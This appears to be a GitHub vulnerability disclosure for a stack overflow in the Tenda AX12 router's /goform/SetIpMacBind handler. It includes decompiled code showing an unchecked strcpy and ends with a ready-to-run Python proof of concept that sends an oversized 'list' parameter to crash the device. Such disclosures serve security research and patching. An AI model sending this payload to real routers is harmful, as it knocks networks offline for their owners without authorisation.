



 The-Itach1 Update README_zh.md ...	on Jul 30 History
..	
 image	4 months ago
 README.md	4 months ago
 README_zh.md	4 months ago

 README.md

Vulnerability description

Affect device: Tenda-AX12 V22.03.01.21_CN(<https://www.tenda.com.cn/download/detail-3237.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability is a vulnerability overflow triggered in the **sub_42FDE4** function, which satisfies the request of the upper-level interface function **sub_430124**, that is, handles the post request under **/goform/SetIpMacBind**

First, sub_430124 calls the sub_42FFF8 function.

```

1 int __fastcall sub_430124(int a1)
2 {
3     int v3[4]; // [sp+1Ch] [-18h] BYREF
4
5     memset(v3, 0, sizeof(v3));
6     blob_buf_init(v3, 0);
7     sub_42FFF8(a1, v3);
8     tapi_set_ipmacbindcfg(v3[0]);
9     blob_buf_free(v3);
10    sub_415368(a1, "HTTP/1.0 200 OK\r\n\r\n");
11    sub_415368(a1, "{\"errCode\":%d}", 0);
12    sub_415B54(a1, 200);
13    return _stack_chk_guard;
14 }

```

In the **sub_42FFF8** function, the two parameters **bindnum** and **list** passed in by the post are obtained, and the address of the list value is used as the parameter of the **sub_42FDE4** function.

```

1 int __fastcall sub_42FFF8(int a1, int a2)
2 {
3     int v4; // $s3
4     int v5; // $s0
5     int v6; // $s3
6     int i; // $s0
7     int v9; // [sp+18h] [-18h] BYREF
8     int v10[4]; // [sp+1Ch] [-14h] BYREF
9
10    memset(v10, 0, sizeof(v10));
11    blob_buf_init(v10, 0);
12    v4 = sub_4151AC(a1, "bindnum", "0");
13    v5 = sub_4151AC(a1, "list", "");
14    v6 = atoi(v4);
15    v9 = v5;
16    for ( i = 1; v9 && v6 >= i && sub_42FDE4(i, &v9, v10) != 1; ++i )
17        ;
18    blob_put(a2, 0, v10[0] + 4, *(_DWORD *)v10[0] & 0xFFFFFF);
19    blob_buf_free(v10);
20    return _stack_chk_guard;
21 }

```

获取bindnum和list的值

将list值的地址传给sub_42FDE4

sub_42FDE4, **strcpy(v16, v6)**, **v6** is the incoming **list** parameter, and no length limit and security check are used in this process, so the attacker can cause stack overflow through a long **list** and achieve denial of service attack.

```

17 memset(v15, 0, sizeof(v15));
18 v6 = *a2;
19 v7 = (_BYTE *)strchr(*a2, 10); 获取第一个字符
20 if ( v7 )
21 {
22     *v7 = 0;
23     v8 = v7 + 1;
24     strcpy(v16, *a2);
25     *a2 = v8;
26 }
27 else
28 {
29     strcpy(v16, v6);
30 }
31 if ( v16[0] == '\r' )
32 {
33     if ( sscanf(&v16[1], "%17[0-9a-fA-F:]\r%s", v13, v14) != 2 )
34     {
35 ABEL_5:
36         puts("get ip and mac error!");
37         return 1;
38     }
39     strcpy(v15, "");
40 }

```

实际上两个strcpy都可照成栈溢出

POC

Poc of Denial of Service(DoS):

```

import requests
from pwn import *

url = "http://192.168.0.1/goform/SetIpMacBind"
cookie = {"Cookie": "password=1111"}
data = {"bindnum": "1", "list": "\r" + "A" * 1000}

requests.post(url, cookies=cookie, data=data)

```